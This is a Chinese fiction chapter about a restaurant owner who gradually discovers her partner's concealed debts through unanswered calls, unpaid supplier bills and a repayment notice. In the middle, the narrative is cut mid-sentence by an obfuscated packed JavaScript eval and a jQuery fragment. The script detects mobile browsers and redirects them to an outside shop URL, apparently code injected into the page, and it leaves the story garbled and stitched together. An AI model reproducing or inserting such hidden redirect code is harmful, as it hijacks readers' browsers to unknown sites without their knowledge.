陆沉的手机最近总是震。最开始林深没注意，店里本来就有很多声音——打印机的声音，冰柜启动的声音，门口风铃的声音，客人推椅子的声音，还有来福爪子踩在地板上的声音。手机震动混在里面，像一条很细的线，不仔细听根本听不出来。后来她开始听见。
下午三点，店里没有客人。林深坐在吧台后面改菜单，陆沉坐在窗边抽烟，手机放在桌上。嗡。他看了一眼，直接按掉。没多久，又震。他又按掉。第三次震的时候，来福抬起头看了一眼，又把脑袋放回林深脚边。林深停下鼠标：“谁啊？”陆沉头也没抬：“广告。”“什么广告一直打？”“贷款。”他回答得很随意，随意得像在说天气。林深皱了一下眉：“那你拉黑啊。”“懒得弄。”他说完，拿起烟盒又抽了一根。林深看了他一会儿，最后什么都没说。
那时候她没有想太多，因为每个人手机里都会有垃圾电话——信用卡中心、保险、贷款、中介、乱七八糟，谁都接过。她也经常接到，有时候还会被烦得想骂人。可陆沉的手机不一样，它震得太频繁了，像有什么东西一直在门外敲，不进来，也不走。
中午的生意还算正常。科技园的人还是那样，十二点涌进来，一点半散干净，吃饭像完成任务。套餐卖得最快，刺身拼盘反而越来越少有人点。林深开始把菜单往午餐靠，把贵的东西往后放，把套餐图做得更显眼。她以前不喜欢这样，她想做的是精品日料，不是快餐。可现在人站在现实里，很多东西由不得你喜欢不喜欢。
下午，供应商送货过来，箱子一箱一箱堆在后厨门口。林深和店员一起清点——三文鱼、牛肉、鸡腿肉、蔬菜、海苔、米、酱料。送货的人把单子递给她：“老板娘，上个月的款今天能不能结一下？”林深愣了一下：“不是月结吗？”“是月结啊。”送货的人笑得有点尴尬，“这都拖半个月了。”林深拿着单子，一时间没说话。陆沉从外面进来，看见他们站着，立刻走过来：“我来。”他从林深手里拿过单子，“晚点转你。”
送货的人看着他：“陆哥，今天真得结一点了，我也不好交代。”
陆沉笑了笑：“知道，晚上。”
“那我等你消息啊。”
“嗯。”
送货的人走了以后，后厨安静下来。林深看向陆沉：“没结？”“忘了。”“这种事也能忘？”“最近事多。”“多少钱？”“没多少。”“没多少是多少？”陆沉转头看她：“你非要现在问？”林深顿了一下，她听出来了——又是那种语气，不是吼，不是骂，只是把门关上，你再问就是你不懂事。
以前她会继续问，现在不会。现在她已经学会了看空气，空气不对就停。她低头继续整理货品：“行。”陆沉站了一会儿，像想说什么，最后没说，转身出去了。来福趴在门口，看着他走到外面抽烟，尾巴没有动。
傍晚的时候老周又来了，这次不止老周，后面还跟着两个新面孔。老周一进门就喊：“陆总，今天带朋友来捧场。”陆沉原本坐在吧台后面，听见这句脸上很快有了笑。“坐。”“今天你安排。”“行。”
林深站在收银台后面，看着陆沉从柜台里拿出菜单，又直接合上：“不看了，我来配。”那一瞬间他又像以前了——熟练、大方、热络。朋友一坐下，他整个人就亮起来，像有人把开关打开了。老周带来的朋友显然是第一次来，看了看装修又看了看菜单：“这店可以啊。”老周笑着说：“我早说了吧，陆总眼光一直不错。”陆沉摆摆手：“都是林深弄的。”老周立刻接话：“那就是嫂子厉害。”林深笑了一下：“你少拍马屁。”“真的，嫂子这审美，一看就不是陆沉能弄出来的。”一桌人都笑，陆沉也笑，笑得很自然。林深看着他，心里忽然有一点发软——她很久没见他这样了，不是酒后的兴奋，也不是强撑的体面，而是那种熟悉的、带着点少年气的得意，好像他还是那个能在朋友面前轻松开玩笑的人。
菜很快上桌。陆沉安排得很足——刺身拼盘、寿喜锅、炸物、烤物，还有两份店里平时不太舍得拿来送人的好料。林深站在旁边，看着一盘一盘菜端出去，心里开始算：这盘多少钱，那盘多少钱，这顿如果免单大概又是多少。她不想算，可脑子会自动算，因为店里的钱已经越来越薄了，薄到每一口都能看见底。
酒还是开了。老周说：“今天新朋友，喝点。”陆沉笑：“喝点。”林深听见那两个字，手指微微停了一下。来福原本在桌子旁边转来转去，老周刚偷偷喂了它一小块鸡肉，它正开心。可酒瓶打开以后，它很快从桌边退了出来——先退到吧台，再退到林深脚边，最后趴下，一动不动。林深低头看它，它也抬头看她，那一眼很短，却像在说什么。
晚上九点，店里只剩老周这一桌。陆沉喝了不少，但看起来还好，至少朋友们看不出来。他说话清楚，笑得也稳，甚至还给别人倒酒。可林深知道他已经不一样了，因为他开始重复同一句话。“以前我们做面料的时候……”过一会儿又说：“以前我们那时候……”再过一会儿：“以前真的不是现在这样。”老周一开始还接，后来也慢慢沉默了一点。新朋友不了解情况，还在夸：“陆哥以前肯定挺厉害。”老周看了陆沉一眼，笑着说：“那当然。”陆沉听见这句话，低头喝了一口酒，没有笑。林深站在远处，忽然觉得心里很闷——她想起下午供应商那张单子，想起陆沉一直震的手机，想起他说“广告”的表情，很多东西好像突然连在了一起，可她又不敢往下想。人有时候不是不知道，只是知道了就要面对，而面对是最难的。
十点半老周他们终于走了。陆沉照旧没收钱，老周临走前还笑着说：“下次我请你。”陆沉说：“滚。”朋友走后店里重新空下来，桌上剩着半盘刺身、几块牛肉、一堆烟头、三个空酒瓶，还有一瓶没喝完的。林深站在桌前看了很久，没有立刻收拾。陆沉坐在吧台后面低头看手机，屏幕亮着，他的表情一点点冷下来。林深问：“怎么了？”陆沉立刻按灭屏幕：“没事。”“又是广告？”“嗯。”“陆沉。”他抬头：“干嘛？”“你是不是有什么事没告诉我？”
空气安静了。冰柜压缩机启动，发出低低的嗡鸣。来福站在林深旁边，耳朵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691733|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
竖了一下。陆沉看着她，忽然笑了：“我能有什么事？”
“供应商的钱为什么没结？”
“忘了。”
“手机为什么一直响？”
“广告。”
“老周他们这顿为什么又免单？”
陆沉脸上的笑慢慢没了：“你今天非要算这个？”
“我不是算这个。”
“你就是在算。”
“店里现在什么情况你不知道吗？”
“我不知道？”
他的声音终于高了一点，不是吼，但已经够了。来福往林深身后退了半步，林深感觉到了，她也听见自己心里有什么东西跟着退了一下。陆沉站起来，身上的酒味和烟味一起压过来：“我朋友来吃顿饭，你现在都要跟我算清楚，是吧？”
“我不是这个意思。”
“那你什么意思？”
“我只是想知道到底欠了多少钱。”
这句话说出来以后，陆沉忽然安静了，特别安静，安静到林深心里反而更没底。他看着她，看了很久，最后拿起桌上的酒喝了一口：“没欠多少。”
“多少？”
“林深。”
“多少？”
“你别逼我。”
这四个字一出来，林深忽然不说话了。她不是被吓住，是突然明白自己可能已经问到某个地方了——某个他一直藏着、不想让她碰的地方。陆沉把酒瓶放下，转身往外走。走到门口的时候他又停了一下，没有回头：“我自己会处理。”门被推开，风铃响了又停。陆沉站到外面抽烟去了。
林深站在原地，过了很久才低头开始收拾桌子。盘子一个一个叠起来，杯子一个一个拿走，没吃完的东西倒进垃圾桶。倒到那半盘刺身的时候她手停了一下，鱼肉混着柠檬片和化掉的冰，颜色很漂亮，也很浪费。她忽然想起很久以前陆沉带她去吃日料，那时候他们还没有开店，陆沉点东西从来不看价格。林深说太多了，他说：“你喜欢就行。”那时候这句话很好听，现在想起来却像一个很远的笑话。
晚上回家他们叫了代驾。陆沉坐在后排一直没说话，来福趴在林深腿上也没有睡。车窗外的灯光一下一下掠过去，林深看着窗外，脑子里全是数字——供应商的钱、房租、人工、装修尾款、免单的酒菜，还有陆沉手机里那些她看不见的消息。她忽然觉得店里的亏损像海面上的浪，看得见，拍过来，躲不开。可陆沉身上的那些债，像海底更深的水，平时看不见，等真正涌上来的时候可能就是海啸。
回到家以后陆沉直接去洗澡，手机放在茶几上。屏幕忽然亮了一下，林深本来没有想看，可那行字跳出来的时候她还是看见了——不是广告，也不是普通短信，是一条还款提醒。她只看见最前面几个字，后面屏幕很快暗下去。来福站在她旁边，抬头看她。林深没有伸手去拿那部手机，她只是站在那里，站了很久。浴室里传来水声，客厅里很安静。她忽然意识到，自己一直以为最危险的是那家店亏了多少钱，可也许不是。也许真正危险的东西，一直都不在账本上。